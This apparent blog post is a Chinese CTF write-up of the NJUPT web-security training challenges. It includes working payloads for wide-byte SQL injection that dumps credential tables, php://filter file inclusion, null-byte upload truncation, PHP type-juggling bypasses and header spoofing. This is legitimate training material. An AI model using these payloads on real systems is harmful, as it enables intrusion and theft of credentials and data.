南京邮电大学网络攻防训练平台
终于找到组织了可以安安静静的研究CTF技术了,接触信息安全以来已经 3 年多了,期间也走了很多弯路,浮躁过放弃过,幸运的是被画船听雨拉入了 X1cT34m 小组,时间过得很快,队友们也都很强,只打了 1 年比赛就退伍了,总之还是很充实的。
WEB
签到题
思路
单个页面查看源代码:
解决方法
nctf{flag_admiaanaaaaaaaaaaa}
md5 collision
思路
PHP 代码阅读:
<?php
$md51 = md5('QNKCDZO'); //md51变量 = QNKCDZO 字符串的md5值
$a = @$_GET['a']; //定义一个变量 a 并使用GET方式传递值给它
$md52 = @md5($a); //md51变量 = 变量 a 的md5值
if(isset($a)){ //判断 a 变量是否为空 不为空的话 条件为真
if ($a != 'QNKCDZO' && $md51 == $md52) { //a变量的值不为QNKCDZO并且md5值等于 QNKCDZO的md5值
echo "nctf{*****************}"; //输出flag
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
这里的核心语句是:
$a != 'QNKCDZO' && $md51 == $md52
主要是利用了 PHP 弱类型语言的松散比较符的缺陷。幸运的是以前总结过类似的文章:
从源码中可以得输入一个 a 的参数的变量,a 首先不等于QNKCDZO并且 a 得 md5 值必须等于QNKCDZO加密后的 md5 值。
乍一看好像不可能存在这样的值,但是这里QNKCDZO加密后的 md5 值为0e830400451993494058024219903391
这里是0e开头的,在进行等于比较的时候,PHP 把它当作科学计数法,0 的无论多少次方都是零。
所以这里利用上面的弱类型的比较的缺陷来进行解题。
姿势补充
字符串加密后md5为 0exxxx 的字符串 (x 必须是 10 进制数字) 列表
字符串 | MD5 |
---|---|
QNKCDZO | 0e830400451993494058024219903391 |
240610708 | 0e462097431906509019562988736854 |
aabg7XSs | 0e087386482136013740957780965295 |
aabC9RqS | 0e041022518165728065344349536299 |
s878926199a | 0e545993274517709034328855841020 |
s155964671a | 0e342768416822451524974117254469 |
s214587387a | 0e848240448830537924465865611904 |
s214587387a | 0e848240448830537924465865611904 |
s878926199a | 0e545993274517709034328855841020 |
s1091221200a | 0e940624217856561557816327384675 |
s1885207154a | 0e509367213418206700842008763514 |
解决方法
.
nctf{md5_collision_is_easy}
签到2
思路
提示输入zhimakaimen
,但是输入了确不成功,具体的话浏览器审查元素查看下刚刚操作POST
的数据包或者使用Burpsuite
也可以。
解决方法
抓包编辑包的主体部分为:`text1=
查看响应包:
.
nctf{follow_me_to_exploit}
这题不是WEB
思路
一个猫的图片,看来搞信安的很多人都喜欢猫呀。加上题目提示:这不是一个Web题目,所有这一题重点在这张图片上。
解决方法
图片以文本方式打开,搜索nctf
关键词:
nctf{photo_can_also_hid3_msg}
层层递进
思路
这一题 一上来我是懵逼的,搜索关键词找了网上的Write-up才明白题目想表达的意思。
网站源码一看主要就使用了<iframe>
标签,iframe 元素会创建包含另外一个文档的内联框架(即行内框架)。好像有点层层递进
的感觉,所以这里重点是<iframe>
标签内的内容。
解决方法
浏览器审查元素Applicatioin
-Frames
逐个点开查看:
nctf{this_is_a_fl4g}
AAencode
思路
aaencode是一种有趣的混淆代码的加密方式
解决方法
网页显示乱码保存txt
文件到本地,然后使用aaencode在线解密。
nctf{javascript_aaencode}
单身二十年
思路
抓包看返回包
解决方法
点击到这里找key__
然后抓包看返回包:
nctf{yougotit_script_now}
你从哪里来
思路
http头使用referer
伪造
解决方法
BP抓包手动添加Google
域名的referer
题目有问题挂了
但是呢网上还是可以找到这题的flag的:
nctf{http_referer}
php decode
思路
PHP代码阅读:
<?php
function CLsI($ZzvSWE) { // 定义一个 CLsI 函数,接受 ZzvSWE 的变量
$ZzvSWE = gzinflate(base64_decode($ZzvSWE)); //ZzvSWE变量被base64解密后使用gzinflate加密
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
//遍历ZzvSWE变量 转换为变量的每一位的ASCII值-1的字符
}
return $ZzvSWE;
}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?> //这里的eval函数问题很大
解决方法
代码整体意思不难理解,遍历字符串中的每一个字母,然后使用Base64+Gzinflate
加密,最后转换为ASCII码的值-1,再转换为字符串。所以尝试运行一下代码,发现报错,这里报错是因eval
函数的问题。
eval函数
- eval() 函数把字符串按照 PHP 代码来执行
- 该字符串必须是合法的 PHP 代码,且必须以分号结尾
- 如果没有在代码字符串中调用 return 语句,则返回 NULL
- 如果代码中存在解析错误,则 eval() 函数返回 false
eval
函数一般我们在一句话木马中经常见到,结合这个就很容易理解了。
解决代码运行报错就是直接将eval
修改为echo
直接将结果输出来:
nctf{gzip_base64_hhhhhh}
文件包含
思路
给了乌云知识库的参考链接,阅读了一下本文主要是利用php流filter来进行文件读取。 关于PHP文件流后期单独来总结。
解决方法
BP抓包构造如下payload:
/web7/index.php?file=php://filter/convert.base64-encode/resource=index.php
拿到base64
加密后的网页源码,解码之 即可拿到flag:
nctf{edulcni_elif_lacol_si_siht}
单身一百年也没用
思路
抓包看返回包
解决方法
差点就错过了细节,把这个包丢掉了:
nctf{this_is_302_redirect}
COOKIE
思路
抓包,重点关注headers里面的cookie值。
解决方法
Cookie: Login=0
修改为
Cookie: Login=1
查看返回包:
nctf{cookie_is_different_from_session}
MYSQL
思路
根据提示找到robots.txt文件下载下来然后阅读PHP代码:
<?php
if($_GET[id]) { //GET方式传入id参数
//MySQL连接相关
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
//对id值进行整型转换
$id = intval($_GET[id]);
//核心带入id查询的SQL语句
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
//如果id的值为1024的话 条件成立
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>
这一题受到了传统思路影响到了,导致没有过多关注if ($_GET[id]==1024)
我一直在想既然都知道了SQL语句了,为什么不直接手工注入,结果$id = intval($_GET[id]);
这一步绕不过去,走了不少弯路,酱紫来看代码中不会出现无缘无故的语句的。
解决方法
代码中提示了不可以直接输入id=1024
,这里得想办法来绕过才可以。因为这里intval() 是整型转换函数,输入1024.xxx
之类的小数都是会转换为1024
的。
sql.php?id=1024.233
nctf{query_in_mysql}
sql injection 3
思路
给了SQL构造语句,而且过滤了单引号,这里根据经验来看直接使用宽字节来手工注入。关于注入绕过的文章,后期单独整理好拿出来。
解决方法
习惯性的闭合前面语句,注释掉后面语句
页面返回
your sql:select id,title from news where id = '1\' -- '
Hello World!OVO
可以看到输入的单引号返回结果来看被反斜杠过滤掉了
宽字节注入 and 语句验证
and 1=1
页面返回正常
/SQL-GBK/index.php?id=1%df' and 1=1--+
your sql:select id,title from news where id = '1運' and 1=1-- '
Hello World!OVO
and 1=2
页面返回异常
/SQL-GBK/index.php?id=1%df' and 1=2--+
your sql:select id,title from news where id = '1運' and 1=2-- '
order by 判断字段数
/SQL-GBK/index.php?id=1%df' order by 2 --+ 页面返回正常
/SQL-GBK/index.php?id=1%df' order by 2 --+ 页面报错 Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in SQL-GBK/index.php on line 10
所以得出字段数为2
union select 查询带入查询的的具体的字段数
/SQL-GBK/index.php?id=-1%df' union select 1,2 --+
这里故意构造了一个id=-1
引起报错,页面报错返回数字2
:
利用报错的具体字段数带入SQL语句查询我们需要的数据,查询数据库表名
/SQL-GBK/index.php?id=-1%df' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() --+
数据库下有5个表,分别为:ctf,ctf2,ctf3,ctf4,news
查询各个数据表小的列名信息
因为这里过滤了单引号的原因,建议这里
information_schema.columns where table_name='ctf'
换成16进制的形式:
information_schema.columns where table_name=0x637466
经过测试flag可能放在 ctf
表中,下面是完整的语句:
这里其实是有提示的,我一上来就无脑注入,后来把所有数据跑出来的才发现news
有提示…这个毛病得改
id = 1 提示 Hello World!OVO
id = 2 提示 gbk_sql_injection
id = 3 提示 the fourth table 第4个表
不管那么多了,下面还是演示一下一个注入的流程吧:
/SQL-GBK/index.php?id=-1%df' union select 1, group_concat(column_name) from information_schema.columns where table_name=0x637466 --+
查询具体的user和pw字段信息
/SQL-GBK/index.php?id=-1%df' union select 1, group_concat(user,0x3a,pw) from ctf --+
md5解出来是njupt
,去后台登录拿到了一个flag 貌似不是这一题的flag:
数据库的所有内容
经过一个个手工注入 下面列出所有数据库的内容
数据表
+----------------+
| Tables_in_test |
+----------------+
| ctf |
| ctf2 |
| ctf3 |
| ctf4 |
| news |
+----------------+
ctf表内容
+-------+----------------------------------+
| user | pw |
+-------+----------------------------------+
| admin | 21dd715a3605b2a4053e80387116c190 |
+-------+----------------------------------+
ctf2表内容
+------+----------------------------------+
| id | content |
+------+----------------------------------+
| 1020 | no msg in 1020 |
| 1021 | no msg in 1021 too |
| 1022 | no msg in 1022 |
| 1023 | no msg in 1023~~~ |
| 1024 | the flag is:nctf{query_in_mysql} |
| 1025 | no more |
+------+----------------------------------+
ctf3表内容
+----+-----------------+-------+
| id | email | token |
+----+-----------------+-------+
| 1 | admin@nuptzj.cn | 0 |
+----+-----------------+-------+
ctf4表内容
mysql> select * from ctf4;
+----+-----------------+
| id | flag |
+----+-----------------+
| 1 | nctf{gbk_3sqli} |
+----+-----------------
news表内容
+----+-------------------+
| id | title |
+----+-------------------+
| 1 | Hello World!OVO |
| 2 | gbk_sql_injection |
| 3 | the fourth table |
+----+-------------------+
nctf{gbk_3sqli}
/x00
思路
PHP代码阅读题,分析分析看:
if (isset ($_GET['nctf'])) { //GET方式 传入 nctf 字符
//ereg()正则限制了nctf的形式,只能是一个或者多个数字
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
//strpos()对nctf进行匹配,必须含有#biubiubiu,最终才输出flag
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
突破点:nctf的值是数字且必须含有#biubiubiu
- ereg函数存在NULL截断漏洞,可以使用%00截断正则匹配
解决方法
这里#biubiubiu
的#
得手动进行URL编码
nctf{use_00_to_jieduan}
bypass again
思路
PHP代码阅读题,分析分析看:
if (isset($_GET['a']) and isset($_GET['b'])) { //get方式接受a和b变量
if ($_GET['a'] != $_GET['b']) //a 不等于 b
if (md5($_GET['a']) == md5($_GET['b'])) //a的md5值等于b的md5值
die('Flag: '.$flag);
else
print 'Wrong.';
}
这一题考察了PHP弱类型语言的特性,和md5 collision 50
这一题的出题思想是差不多的。
解决方法
index.php?a=QNKCDZO&b=aabC9RqS
nctf{php_is_so_cool}
变量覆盖
思路
PHP核心代码阅读:
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<?php echo $theflag; ?>
<?php } ?>
<?php } ?>
解题方法
BP抓包,post方式提交数据:pass=&thepassword_123=
,返回包里找到flag
:
nctf{bian_liang_fu_gai!}
PHP是世界上最好的语言
思路
PHP代码阅读:
<?php
if(eregi("hackerDJ",$_GET[id])) { //id传入的值中里面不可以含有hackerDJ
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]); //id经过URL解码
if($_GET[id] == "hackerDJ") //id URL解码后与hackerDJ相同
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>
id
不能等于hackerDJ
,并且经过url
解码后id等于hackerDJ
,在浏览器中提交时浏览器会为我们进行一次解码,h
的URL编码为%68
,%
的编码为%25
。
解题方法
?id=id=%2568ackerDJ
nctf{php_is_best_language}
伪装者
思路
nctf{welcome_to_hacks_world}限制了本地登录,抓包用XFF头伪造试试看。
解题方法
BP抓包添加X-Forwarded-For:127.0.0.1
这一题平台目前也出了点问题..
nctf{happy_http_headers}
Header
思路
Emmm 这一题理所当然的打不开了 但是呢 以前做过 记得是flag直接放在了返回包里面。
解题方法
nctf{tips_often_hide_here}
上传绕过
思路
这种题目有点贴近实际的渗透测试,这里我想用00截断应该可以解决的吧。
解题方法
上传一个jpg
文件,转包发现了存在uploads
目录,一般根据实战来看 再目录这里截断会有一个不错的效果,最后截断的效果相当于是文件上传后被重命名为了233.php
文件了。
233.php 后面有一个00截断 图片上没有看出来效果 故提醒一下
nctf{welcome_to_hacks_world}
SQL注入1
思路
PHP代码阅读:
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]); //trim() 函数移除user字符串值两侧的空白字符
$pass = md5(trim($_POST[pass])); //trim() 函数移除pass字符串值两侧的空白字符
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; //核心SQL语句
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") { //登录成功 输出flag
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?>
推理出SQL语句:select user from ctf where (user='$user') and ...
闭合 user
即可。
解题方法
其实呢这一题 我们在做 sql injection 3
的时候就提前跑了出来了:
nctf{ni_ye_hui_sql?}
pass check
思路
PHP代码阅读:
<?php
$pass=@$_POST['pass']; //post提交pass变量值
$pass1=***********;//被隐藏起来的密码
if(isset($pass)) //检测pass值是否存在 存在继续下一步
{
//比较pass和pass1的值 条件成立 输出flag
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>
这里主要利用PHP的strcmp
函数,5.3
的之前和之后版本在使用strcmp
比较数组和字符串时候的差异。
在5.3
的版本之后使用这个函数比较会返回0
解题方法
构造一个pass
数组
nctf{strcmp_is_n0t_3afe}
起名字真难
思路
还是PHP代码阅读题,2333,还好暑假做的Python POC相关的工作,要是以前我肯定没法耐心看完:
<?php
//定义一个noother_says_correct函数 传入的变量为number
function noother_says_correct($number)
{
$one = ord('1'); //one赋值为1的ASCII值
$nine = ord('9'); //nine赋值为9的ASCII值
//遍历变量number
for ($i = 0; $i < strlen($number); $i++)
{
//digit等于number[i]的ASCII值
$digit = ord($number{$i});
//如果digit在one到nine指尖的话 就GG
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
//返回number的值为54975581388
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>
number的值为54975581388
输出flag,但是number
中不能有数字。可以说很巧的是:
54975581388 的 16进制为 0xccccccccc
这里恰好没有数字。
解决方法
老版本的Hackbar
真香:
/index.php?key=0xccccccccc
nctf{follow_your_dream}
密码重置
思路
以前整理过类似的类似的文章:
抓一个测试的包包含如下关键信息:
POST /web13/index.php?user1=%59%33%52%6D%64%58%4E%6C%63%67%3D%3D
user=ctfuser&newpass=P%40ssw0rd&vcode=1234
很明显可以看到user1
后面有个参数,这里解码看看:
%59%33%52%6D%64%58%4E%6C%63%67%3D%3D
URL-decode
解码后:
Y3RmdXNlcg==
Base64-decode
解码后:
ctfuser
很明显这里和post提交的数据中的user=ctfuser
是一一对应的:
知道这个关系绕过就很简单了。
解决方法
nctf{reset_password_often_have_vuln}
php 反序列化
思路
解决方法
sql injection 4
思路
解决方法
综合题
思路
解决方法
system
思路
解决方法
SQL注入2
思路
PHP代码
<?php
//post提交user和pass
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
//的值pass进行md5加密
$pass = md5($_POST[pass]);
//核心sql语句 查询出pw的值
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
//如果查询的pw值与pass进行比较 成功的话 输出flag
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
解决方法
综合题2
思路
解决方法
密码重置2
思路
1.管理员邮箱
查看源代码
[email protected]
2.vi编辑器备份文件
从源码中也是可以看出使用的是Vim
编辑器:
BP抓包,提交的php
文件为:/web14/submit.php
vim
中的swp
即swap
文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit
,则它的临时文件
.submit.swp
保存到本地查看。
3.弱类型bypass
PHP代码阅读
//邮箱和token的值不能为空
if(!empty($token)&&!empty($emailAddress)){
//token的长度为10,如果输入的token长度不是10的话就死给你看
if(strlen($token)!=10) die('fail');
//如果token的值不等于0的话 同样GG
if($token!='0') die('fail');
//通过token和email查询user表下的数据数量
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
//如果查询出数据了 即登录成功 输出flag
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
}
因为已经知道了管理员的邮箱为:[email protected]
所以重点就放在token
上,这里token
只要满足以下两点即可:
- token的长度为10
- token的值等于0
考虑到PHP弱类型语言的特性,token
构造如下:
token=0000000000
解决方法
nctf{thanks_to_cumt_bxs}
点评
实际上 2021 年了,我们学校自己的这个靶场我都没有刷完,真的是太懒了,呜呜呜,看来我真的不适合 CTF。
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信
|
支付宝
|
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光